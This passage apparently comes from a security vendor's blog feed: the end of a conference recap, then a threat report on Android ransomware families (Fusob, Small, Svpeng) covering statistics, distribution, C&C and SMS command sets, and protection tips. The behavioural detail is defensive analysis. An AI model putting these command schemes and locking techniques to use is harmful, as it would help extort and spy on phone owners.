After that, Anchises Moraes from RSA opened the talks by presenting about the stone age and the computing era, comparing the information gathered from paintings on cave walls that could lead us to an understanding of what happened at that time, to the information that we are storing on internet that will stay visible to the next generation.

Following this, Andrey Plastunov talked about a different attack scenario, where instead of targeting the normal user it targets developers, by infecting source code, attacking source control and continuous integration software in order to steal credentials. He explained that in most cases the developer has too much access, allowing the attackers to steal information that usually is not found on normal users’ computers, like remote desktop connections, FTP accounts and so on.

Our own Dmitry Bestuzhev attracted attention with his talk about the mobile weapons used for cyber-espionage, by explaining in detail the level of information that could be gathered from samples found in the wild targeting Android, Windows Phone and also the almost untouchable iOS. In his talk Dmitry drew attention to the point that nowadays, where there is extensive end-to-end encryption, it is easier to collect the desired information by infecting the device rather than attacking software encryption.

After this talk lunch was available as well as the beer and drinks, and at this time people could take time to talk with the presenters, sponsors and friends. The environment was really cool and next to the bar was the preferred place to get together with other participants.

When the sessions restarted, it was the turn of Emmanuel Goldstein, 2600 hacking magazine editor, to talk about the challenging work of running a hacking magazine without any publicity; he also encouraged people to listen to what young people and hackers have to share, as they have too much to say that will also help us.

Another very interesting technical talk was presented by Igor, who did a live demonstration of creating a portable BTS (Base Transceiver Station) in order to perform a main-in-the-middle attack to intercept calls and SMS messages on 2G networks. On the stage he made a call to one of the participants and then reproduced the intercepted content.

In summary, it was an amazing event with excellent organization, a mix of technical and non-technical talks and a very selected group of security professionals, where you had a chance to talk and make connections. Of course I could not forget to mention the party at the end where the participants had another chance to enjoy beer and other good drinks as well as networking.

KSN Report: Mobile ransomware in 2014-2016

Malware Alerts - Wed, 06/29/2016 - 07:00

Part 1. KSN Report: PC ransomware in 2014-2016

 Download PDF version

Statistics

The activity of mobile ransomware, although not as widely covered in the media as PC ransomware, also skyrocketed over the period covered by this report. Especially in the second half.

Fig. 12: The number of users encountering mobile ransomware at least once in the period April 2014 to March 2016

From April 2014 to March 2015, Kaspersky Lab security solutions for Android protected 35,413 users from mobile ransomware. A year later the number had increased almost four-fold to136,532 users. The share of users attacked with ransomware as a proportion of users attacked with any kind of malware also increased: from 2.04% in 2014-2015 to 4.63% in 2015-2016. The growth curve may be less that that seen for PC ransomware, but it is still significant enough to confirm a worrying trend.

The geography of mobile ransomware is quite similar to the one for PC ransomware, with a few notable differences. In 2014-2015 the percentage of mobile users attacked with ransomware was fairly low, much lower than that seen for PCs.

Country % of users attacked with
ransomware out of all users
encountering malware United States 10.4% Kazakhstan 7.8% Ukraine 6.7% Germany 4.5% United Kingdom 2.6% Russian Federation 2.5% Belarus 1.7% S. Arabia 1.6% Switzerland 1.5% Brazil 0.16%

Fig. 13: Top 10 countries with the highest percentage of mobile users attacked with malware Trojan-Ransom category as a proportion of users attacked with any kind of mobile malware. (Each country has more than 5,000 unique users of Kaspersky Lab products for Android devices). Period: April 2014 – March 2015.

As can be seen in Fig. 13, in 2014-2015 the list of countries where users were most likely to encounter mobile ransomware looked very different to the one based on data for PC users. The United States led the chart with 10.4% of users attacked with ransomware, followed by Kazakhstan (7.8%) Ukraine (6.7%) and Germany (4.5%). Russia was lower down the top ten list, mostly because the local threat landscape at the time was highly affected by Trojan-SMS malware.

In 2015-2016, the list changed significantly, both in terms of the order of countries and in the proportion of users encountering ransomware.

Country % of users attacked with
ransomware out of all users
encountering malware Germany 22.90% Canada 19.61% United Kingdom 16.13% United States 15.64% Kazakhstan 14.42% Italy 12.54% Netherlands 12.30% Spain 5.27% Russian Federation 4.91% Ukraine 4.63%

Fig. 14: Top 10 countries with the highest percentage of mobile users attacked with malware in the Trojan-Ransom category as a proportion of users attacked with any kind of mobile malware. (Each country has more than 5,000 unique users of Kaspersky Lab products for Android devices.) Period: April 2015 – March 2016.

Germany became the leader with 22.9% of attacked users, followed by Canada (19.61%), the UK (16.13%) and the US (15.64%).

Clearly the target profile of mobile ransomware is dramatically different to the one for PC ransomware. It is hard to say precisely why this is the case, but we can assume that in countries that feature at the top of the mobile ransomware list, mobile and e-payment infrastructure is much more developed and has deeper penetration than in countries that are at the bottom of the list or not on it at all. Criminals like to get as close to their victim’s money as possible and attacking a user who can transfer the ransom in couple of taps or clicks is likely to have the most appeal.

Main actors of mobile ransomware

Across the whole period covered by the report, Kaspersky Lab researchers were able to identify a few families of mobile ransomware that users of our products encountered most often. In 2014-2015 these were: Pletor, Fusob, Svpeng and Small. In 2015-2016, Svpeng significantly reduced its activity hitting just a small share of the attacked users.

At some point during 2014-2015, Svpeng – originally known as a banking malware – was modified by its creators to be able to lock an infected device. Since then we have tracked both versions of Svpeng: the banking one and the ransomware. The ransomware branch gained visibly in popularity during 2014-2015, accounting for 5.64% of users attacked with any malware.

This changed during the second period, with the ransomware dropping to the lower end of the Top 30 threats. However, the banking branch of Svpeng resumed activity, which probably means that the malware creators simply lost interest in developing the ransomware and decided to concentrate on the banking one.

Roughly the same thing happened to Pletor – the malware considered to be the first example of ransomware and allegedly created by the authors of the infamous Acecard banking Trojan. In 2014-2015 it secured a fairly visible share of the pie of mobile users attacked with ransomware, but by 2015-2016 it had disappeared from the top, leaving only three big ransomware families on the “market”.

Fig. 15: The distribution of the share of attacked users between the most active mobile ransomware families in 2014-2015 (left) in comparison to the one in 2015-2016 (right).

Another significant thing seen during the 24 months covered by the report was the competition between two big ransomware families: Small and Fusob. In 2014-2015, the Small family was the leader, at least in terms of the share of attacked users. It accounted for 69.11% of all users encountering mobile ransomware at least once. But a year later, the Fusob family had taken over the lead hitting 56.25% of users. The Small family, however, remained number two with 37.23% of attacked users. The Svpeng, Pletor, Small and Fusob malware are likely to be sold by their authors to other cybercriminals or propagated through affiliate networks – all four families have undergone a lot of modifications. However, Small and Fusob appear to have been modified the most and this is clearly visible in the statistics.

Unlike PC ransomware, which is already relatively widely covered by researchers from different companies, including Kaspersky Lab, mobile ransomware has so far not been researched in depth. In order to address this, we provide a brief description of the most widespread and dangerous mobile ransomware examples as of April 2016.

Fusob ransomware

In April 2016, Trojan-Ransom.AndroidOS.Fusob became the most popular mobile Trojan: users in more than 100 countries worldwide were attacked by this Trojan-Ransom program. The first samples of Trojan-Ransom.AndroidOS.Fusob were discovered by Kaspersky Lab experts in early January 2015.

Fig. 16: Message displayed by Fusob ransomware

Trojan-Ransom.AndroidOS.Fusob was most actively distributed in the following countries:

Country % of users attacked by Fusob Germany 41.5 United States 14.5 United Kingdom 11.4 Italy 8.8 Mexico 4.4 Canada 3.6 Switzerland 1.9 Netherlands 1.6 Spain 1.4 Japan 1.2

Fig.16: The percentage of users attacked with Fusob ransomware as a proportion of all users attacked with any kind of mobile ransomware

Once the Trojan is executed [?], it runs a check of the device language (Locale.getDefault().getCountry()), and for the following countries it will not perform any malicious actions:

  • KZ Kazakhstan
  • AZ Azerbaijan
  • BG Bulgaria
  • GE Georgia
  • HU Hungary
  • UA Ukraine
  • RU Russian Federation
  • AM Armenia
  • BY Belarus

If the country is not included in the list, the Trojan asks for device administrator rights and displays a message notifying the user that the device is being updated. The device can be still used, but the Trojan blocks access to the device settings by overlaying them with its own window. This is how it protects itself from being removed.

Meanwhile, the Trojan collects information about the device and sends it to the attackers. In doing so, it uploads two different sets of data to the Command and Control (C&C) server. The first set of data contains information about the device, such as device model, the version of the operating system, etc. This data is encoded with the Base64 algorithm and uploaded to the criminals’ server. The second data set, among other things, contains the user location and the call log with names from the contact list. This set is encrypted by the AES algorithm and loaded to a malicious C&C server.

The Trojan then waits for the attackers’ command with the necessary data to block the device.

For this purpose, the Trojan uses an HTML file received from the C&C. The Trojan itself includes functionality that can be activated from this file.

Fig. 17: A fragment of Fusob ransomware’s code

Among several functions integrated into the Trojan, two functions cause particular concern. They are: getImage(), which takes a photo with the help of the device’s front camera, and inst() used to install a previously downloaded APK file.

The criminals usually demand between $100 and $200 to unblock the device. The ransom has to be paid in the form of codes from pre-paid iTunes cards.

Fig. 18. The dialog window to enter the code of the gift card in exchange for unlocking the device

This family is mainly spread via porn sites; its representatives usually appearing under the name xxxPlayer and mimicking a multimedia player application used for watching porn videos.

Fig. 19: An example of the kind of webpage through which the Fusob malware is distributed

On clicking the “Download App Now!” button, the Fusob ransom Trojan is downloaded onto the user’s device. Interestingly, after a while this site redirected us to another site, which began to extort $100 in a similar way to Fusob.

Fig. 20: A web page that appears after the Fusob malware is downloaded.

In addition, a number of cases have been registered recently where an exploit kit was used to deliver this Trojan to Android devices silently in the background.

We have analyzed those sources of infection that were most active at the time of writing this report. Most of them are registered to email addresses in the yandex.ru domain. In addition, the majority of this Trojan’s C&C servers are hosted in Russia, or carry registration data that suggests the person who registered them speaks Russian. However, analysis of the large number of modifications of this Trojan, starting from the earliest incarnations, did not provide any evidence that could confirm the authors’ language. The only clue we could find in the code of the HTML file used to block the device is some commentary in Russian. All this, along with the fact that the Trojan doesn’t attack Russian users, suggests that either the authors of the Trojan or the criminals distributing it are Russian-speaking attackers.

Fig. 21: A fragment of Fusob’s code pointing at the possible origin of its authors

The Small ransomware

In April 2016, over 12% of attacked users were hit by representatives of the Trojan-Ransom.AndroidOS.Small family, which made it the second most popular ransomware Trojan family. It has been on our radar since mid-June 2014.

Almost 99% of users attacked by this Trojan are located in just three countries:

Country % of attacked users Russian Federation 54.6 Kazakhstan 26.9 Ukraine 17.2

Fig. 22: Distribution of infection attempts by the Small ransomware in April 2016

This family can be divided into three main groups:

The first group of the Trojan-Ransom.AndroidOS.Small family includes small and very basic ransom Trojans. Once run, they ask for device administrator rights to prevent the Trojan from being removed. Immediately after that they display a message demanding a ransom which appears on the screen overlaying all other windows. This makes it impossible to use the device.

Fig. 23: Message displayed by the Small ransomware (group 1)

They mainly target Russian-speaking users and demand about 700 to 3,500 rubles to unblock the device. There are also samples targeting English-speaking users. Their functionality is similar, but they demand $300 to unblock the device.

Fig. 24: Message displayed to English-speaking users by the Small ransomware (group 1)

The second group from the Trojan-Ransom.AndroidOS.Small family are encryptors. Their functionality is almost identical to that described above – the only difference is the fact that after blocking the device, they start encrypting files on the memory card.

Fig. 25: A fragment of code of the Small ransomware

The third group of the Trojan-Ransom.AndroidOS.Small family is a multifunctional ransomware Trojan. Its behavior depends on the commands it receives from the C&C. Once run, the Trojan asks for the device administrator rights and loads information about the device to a malicious server. This information includes the phone number, the device model, the IMEI, and the version of the operating system. In addition, the Trojan is registered in the GCM system. The Trojan can receive commands from both the C&C and via GCM. It can perform the following commands:

  • START – start the main service of the Trojan
  • STOP – stop the main service of the Trojan
  • RESTART – restart the main service of the Trojan
  • URL – change the C&C address
  • MESSAGE – send an SMS to a specified number with a specified text
  • UPDATE_PATTERNS – update the rules for processing incoming SMSs
  • UNBLOCK – disable the device administrator rights
  • UPDATE – download a file form the specified URL and install it
  • CONTACTS – send out a specified SMS to all contacts from the list of contacts
  • PAGE – address a specified C&C for a command
  • ALLMSG – upload all SMSs from the device to the criminals’ server
  • ALLCONTACTS – upload all contacts from the device to the criminals’ server
  • ONLINE – address the C&C
  • NEWMSG – save a specified SMS on the device
  • LOCKER – display text with the ransom demand
  • LOCKER_UPDATE – update the text with the ransom demand
  • LOCKER_BLOCK – block the device
  • LOCKER_UNBLOCK – unblock the device
  • CHANGE_GCM_ID – change GCM ID

Once launched, the Trojan also intercepts incoming SMSs. It processes them in accordance with the rules received from the C&C. In addition, it can receive the following commands via SMS:

  • 3458 – disable the device administrator rights
  • Deblock – unblock the device
  • hi – enable mobile data transfer
  • ask – disable mobile data transfer
  • privet – enable WiFi
  • ru – disable WiFi
  • 393838 – in addition to the command the message should contain a new encrypted C&C address

In most cases we received similar commands to block the device with a ransom demand to the tune of 1900 rubles.

“command”: “job”, “data”: {“command”: “LOCKER”, “data”:{“payMsg”: “To pay the fine, transfer no less than 1,900 rubles to the phone number: +79688343708 from any terminal to top up mobile accounts in Russia! “}}}”

We also received several commands to send SMSs to the number of a major Russian bank. This trick can be used to steal money from a bank account if it is associated with the victim’s phone number.

The ransomware Trojans of this family are mainly distributed via porn sites; however, we also registered them in SMS spam.

The C&C registration data, the area where the Trojan is distributed, and the lines of Russian in its code suggest that the Trojan-Ransom.AndroidOS.Small family was developed by Russian-speaking writers.

Svpeng ransomware

Over 97% of users attacked by this family of ransomware Trojans were located in the US. In April 2016, we detected this family in a total of 9 countries. We first discovered this ransomware Trojan family in June 2014 and believe it was created by the same attackers as the banking Trojan Svpeng.

Once run, the Trojan requests device administrator rights. It then collects the information that it requires: the list of calls and the history of visited sites; it also takes a picture with the device camera. Then the Trojan blocks the device by overlaying all windows with an HTML file. With the help of this file it can get access to previously prepared information.

Fig. 26: The message displayed by Svpeng ransomware

In most cases the Trojan demands $500 to unblock the device. Like other groups of mobile ransomware, it is distributed via porn sites.

Differences between PC and mobile ransomware

Unlike PC ransomware, most of the mobile examples are rather simple blockers that use some of the technical features of the Android OS in order to show the window with the ransom message on top of other windows. From time to time Kaspersky Lab researchers discover examples of Android-ransomware capable of encrypting files on the infected device. However, Kaspersky Lab experts don’t believe that encryption ransomware for mobile will undergo any noticeable development in the future. This is because of the security features implemented recently into the Android OS, which limits the ability of third-party apps to get unlimited access to users’ files. Also, encryption is not as effective on mobile as it is on a PC, because the Android OS and popular Android apps often come with features that enable data to be backed-up automatically to the cloud, which is obviously not the case for PCs.

In short, criminals targeting mobile devices don’t need to invest resources in the development of encryption malware, since the damage it can do is limited. The same cannot be said for classic blockers; these are much more efficient on a mobile device than on a PC. The difference is simple: if a PC user encounters blocker ransomware – even a sophisticated one – then in the worst case scenario they will be able to remove the hard drive from the infected PC, attach it to another PC and manually remove all malicious files. It is almost impossible to do the same with a mobile device as its hardware is impossible to remove easily and analyze with the help of an extraneous device.

Perhaps this is the main reason why the mobile ransomware landscape is mostly a landscape of blockers.

How it is done

As mentioned before, crypto-ransomware has existed for years. Sporadic attempts to turn crypto-ransomware into a profitable business-model were spotted by Kaspersky Lab researchers as early as 2006 with the Gpcode ransomware family and the copycats that followed. The approach was standard: after a successful infection, the malicious program would show a ransom message and would demand money, usually a hundred dollars or so, sent through a bank transfer.

Fig. 27: An example of a message left by criminals on a PC infected with Gpcode-like ransomware, from 2008

But there was no big criminal-to-criminal industry behind those initial attempts to spread crypto-ransomware. Usually it was the work of a single criminal or a small group of criminals, and although in the period from 2006 to 2011, Gpcode or similar samples of crypto-ransomware appeared regularly on our radar, the intensity of attacks at that time cannot be compared with what we see today.

Several years after the last waves of attacks with Gpcode and its followers, crypto-ransomware was chosen by big financial malware actors as a way of earning illegal income. Perhaps the brightest example of this trend was the infamous Gameover Zeus botnet. Originally created for stealing credentials in order to access online banking services, at some point the botnet creators started to use it to infect victims with Cryptolocker ransomware and demand a ransom. The damage done by this botnet was extensive, but luckily, in 2014, following an international effort led by Europol and the FBI, the botnet was shut down.

Allegedly, the ransomware scheme was a sort of side business for the creators of the botnet – a way of monetizing those PCs in the botnet that had no access to online banking systems. A few other groups of criminals known for spreading financial malware have also been spotted undertaking crypto-ransomware activities. But at the end of the day, this model hasn’t become widespread and it is not what brought crypto-ransomware to the level of attacks that we see today.

How it works: the business of affiliate networks

It is no secret that most of today’s crypto-ransomware has Russian roots, both in terms of the authors of the malicious code and of the actors who spread the malware and demand the ransom. The groups behind ransomware attacks are mainly small or medium-sized and they cooperate by means of a business scheme: affiliate networks.

Small groups often consist of non-professional but very motivated members willing to invest money and time into any cybercriminal activity promising money. Middle-sized groups usually contain some professional programmers and web technology specialists. They are able to produce malware and to build and support the IT infrastructure that forms the technological backbone for the malware.

Over the last few years, middle-sized groups have been able to create several “products” that, in the case of ransomware comprise a kind of DIY set that less-skilled criminals can buy, modify into their own unique version of the malware, and then use to make money. For this they would tune the set in order to make it work with certain C&C servers, encrypt files with certain keys etc. After that they would either try to spread the newly-created malware themselves (investing additional money into buying traffic, spam mailings or renting exploit-kits), or would urge other criminals – entry-level ones – to do this through affiliate programs.

Through this business scheme, multiple affiliates receive a unique version of the malware from the owner of the affiliate network, and take charge of its distribution: spreading it through websites, spam and other ways of propagation. Every time a victim infected with such malware pays the ransom, the affiliate receives some cash from the owner of the network, who gets the lion’s share of the ransom.

There is nothing new in the affiliate network business model being used by cybercriminals in order to ease the propagation of malware. In the past, this model has been used to propagate Blockers, SMS-Trojans and of course banking Trojans, along with thousands of different adware and pornware strings.

Fig. 28: A description of the capabilities that the affiliate program would give a participant. Along with s strong encryption algorithm, this affiliate program offers its partners a user-friendly interface for a landing page in a Tor-network which would serve as a web-proxy for ransom transactions

This business model appears to be more viable for ransomware than for any other type of malware. The main reason for this is the fact that victims of ransomware tend to pay for releasing their files and thereby pour money into the underground economy of cybercrime.

Why is ransomware skyrocketing?

First and foremost, because users pay.

It seems that in recent years regular users and companies have reached the point where the information stored on their PC is valuable enough to consider paying a ransom on demand. The massive transition in organizations towards the use of digital documents and automated business processes for accounting and other day-to-day activities is helping to accelerate this. A company whose tax documentation, for example is encrypted with ransomware just before the deadline for submitting returns to the tax regulator, has no choice but to pay the ransom – and this is what criminals exploit. As a result, crypto-ransomware has become, almost uniquely, a type of malware that can cause tangible business damage by making critical operational files unreadable. This damage cannot not always be rolled back, so sometimes paying the ransom is the only way to retrieve the data.

Another important factor which has positively affected the rise of ransomware is the appearance of new payment tools. New crypto-currencies, for example are now often accompanied by how-to-use guides “for dummies” that teach mainstream users how to use such currencies.

In the past, cybercriminals tended to use either legitimate payment systems or semi-legitimate services in order to transfer money to each other and from their victims. The problem for criminals is that legitimate payment systems, reacting to the rise in fraudulent payments, have started to track and block suspicious transactions, making money transfer a far more risky business for cyber-crooks.

With underground and semi-legal payment systems the problem is that no guarantees are given to the users of such systems (no refunds, no protection from other criminals) and the privacy of these transactions is also always questionable. At the end of the day the fate of each known underground payment system (from E-gold to Liberty Reserve) is always the same: sooner or later it goes down, due to a law enforcement investigation or some other reason.

That is why money transaction for cybercriminals has always been an area of risk. But things changed significantly when the price of crypto-currencies – bitcoin in particular – rose and stabilized enough to allow a lot of users to convert real money. Criminals have started to exploit the advantages crypto-currencies over other type of e-currency: anonymity and a distributed nature, which both allow them to hide fraudulent transactions and make it impossible for a law enforcement agency to do anything, as the system has no center and no owner. These features help to support individual privacy rights but, unfortunately also give cybercriminals a very reliable and secret payment tool. The main outcome of this is that ransomware has become the new black in the underground.

It has acquired a fairly viable criminal ecosystem where, powered by money from attacked users, specific niches for different types of criminals have emerged. Affiliate networks have become the main way for all of them to generate profit. And – what is more dangerous – they have opened doors to the criminal world for those who doesn’t have enough knowledge and expertise to develop their own ransomware. With multiple affiliate networks on the market, they need only basic skills in programming and web design.

Another important reason for the rise in crypto-ransomware is the fact that law enforcement can find it difficult to respond. Most victims of cryptors are ordinary people who do not always report the attack to the police. This leaves law enforcement agencies and forensic experts with a very limited amount of evidence to work with: law enforcement representatives generally have too few reported cases to justify an investigation, and forensic specialists lack enough actual evidence to use against the actors behind crypto-ransomware. At Kaspersky Lab we are eager to change this situation and we are ready to help law enforcement agencies and other interested organizations with technical analyses of malware. The pressure of the law is a valuable tool in the fight against ransomware. This was proven by the case against the criminals who spread screen blocker malware in 2010. The arrests that took place in August 2010 in Russia showed other cyber-criminals that the consequences of their actions could be severe. The wave of screen blockers started to fade after those arrests and we believe that the same approach would work with crypto-ransomware criminals.

Conclusions and Predictions

Based on the statistics and trends described in this report, we were able to come to the following conclusions:

  • On PCs, encryption ransomware has removed blockers from the threat landscape making the Trojan-Ransom category almost synonymous with encryption ransomware.
  • In contrast, mobile ransomware is all about malware with the ability to lock the screen of the device, and it is unlikely that crypto-ransomware for mobile devices will gain in popularity among cybercriminals anytime soon.
  • Although the statistics show that attacks with crypto-ransomware operate on a massive scale, responsibility for most of the attacks rests with just a few groups of malware, most of them spread via affiliate programs.
  • One of the main reasons for the current skyrocketing of encryption ransomware is the availability of off-the-shelf sets for the creation of new versions of ransomware. As was the case with blockers and banking Trojans, encryptors are the new black of the cybercriminal underground.
  • Payment and infrastructure anonymity tools help criminals to leverage ransomware schemes with a relatively low of risk of being compromised. That, combined with the availability of plug-and-play malicious tools has brought a lot of low-skilled cybercriminals into the market.

Alongside these conclusions we believe that the current ransomware threat landscape provides a good basis for several predictions on how this threat will evolve in the future.

Predictions:

  • The extortion model is here to stay. Mobile ransomware emerged as a follow-up to PC ransomware and it is likely that it will be followed-up with malware targeting devices that are very different to a PC or a smartphone. These could be connected devices: like smart watches, smart TVs, and other smart products including home and in-car entertainment systems. There are a few proof-of-concepts for some of these devices, and the appearance of actual malware targeting smart devices is only a question of time.
  • As legal action is one of the few way to actually disrupt the activity of groups behind crypto-ransomware, more arrests of ransomware dealers will take place. In 2015, Kaspersky Lab assisted the Dutch police in the investigation of the CoinVault ransomware attacks. The result of this investigation was the arrest of two suspects and the publication of decryption keys online.

    New arrests are a must for an effective fight against crypto-ransomware as they significantly increase the risks for criminals embarking on such malicious activity.

  • Technologies to protect users from encryption ransomware will be created. Kaspersky Lab products are equipped with special technology that can detect an attempt by an unknown application to encrypt files, and create back-up copies of these files, thus saving users’ data. We expect similar technologies to be created by other security vendors.
What to do in order to protect yourself from crypto-ransomware attacks

While crypto-ransomware is one of the most dangerous types of malware ever created, and the consequences of it could be really severe, we at Kaspersky Lab believe that there are ways to protect yourself or your organization against this threat.

Tips to consumers:

  • Back-up is a must. If you ever thought that one day you would finally download and install that strange boring back-up software, today is the day. The sooner back-up becomes yet another rule in your day-to-day PC activity, the sooner you will become invulnerable to any kind of ransomware
  • Use a reliable security solution. And when using it do not turn off the advanced security features which it most certainly has. Usually these are features that enable the detection of new ransomware based on its behavior.
  • Keep the software on your PC up-to-date. Most widely-used programs (Flash, Java, Chrome, Firefox, Internet Explorer, Microsoft Windows and Office) have an automatic updates feature. Keep it turned on, and don’t ignore requests from these applications for the installation of updates.
  • Keep an eye on files you download from the Internet. Especially from untrusted sources. In other words, if what is supposed to be an mp3 file has an .exe extension, it is definitely not a musical track but malware. The best way to be sure that everything is fine with the downloaded content is to make sure it has the right extension and has successfully passed the checks run by the protection solution on your PC.
  • Keep yourself informed of the new approaches cyber-crooks use to lure their victims into installing malware. For this, read the news and specialized information resources like Kaspersky Lab’s Securelist.com and Kaspersky Daily.
  • If for some reason your files are encrypted with ransomware and you are asked to a pay ransom, don’t pay. Every bitcoin transferred to the hands of criminals builds their confidence in the profitability of this kind of cybercrime, which in its turn leads to the creation of new ransomware. At the same time, a lot of security companies, including Kaspersky Lab fight ransomware on daily basis. Sometimes it is possible to create a decryption tool for certain kinds of ransomware, and sometimes as a result of cooperation with law enforcement agencies, it becomes possible to get the encryption keys for certain families of ransomware, which could eventually lead to decryption of your files. Last but not least: the creation, spreading and demanding of a ransom for decryption are all actions that are defined as criminal in most countries around the globe. Report an attack to the police in order to start an investigation.

Tips to businesses

  • Back-up is a must. Upon the infection of your corporate PCs, the ransomware is likely to start encrypting files that are required for the daily work of your company. If it is technically impossible to back-up all the files you have in the corporate network, choose the most critical (accounting documents, clients’ data, legal documents etc.), isolate them and back-up regularly.
  • Use a reliable, corporate-grade security solution and don’t switch off its advanced features, as these enable it to catch unknown threats.
  • Educate your personnel: very often the ransomware infection happens due to a lack of knowledge about common cyberthreats and the methods criminals use to infect their victims.
  • Undertake regular patch management.
  • Avoid paying a ransom and report the attack to police.

Kaspersky Lab offers multi-layered protection against this widespread increasing threat. Kaspersky Lab’s solutions combat all known types of ransomware to secure user’s data. When these solutions are in place, most ransomware is “caught” when it is attempting to penetrate a device. Nonetheless, even if malware does manage to sneak through, there is another layer of protection – System Watcher technology – that is able to block and roll back malicious changes made on a device, such as the encryption of files or blocked access to the monitor.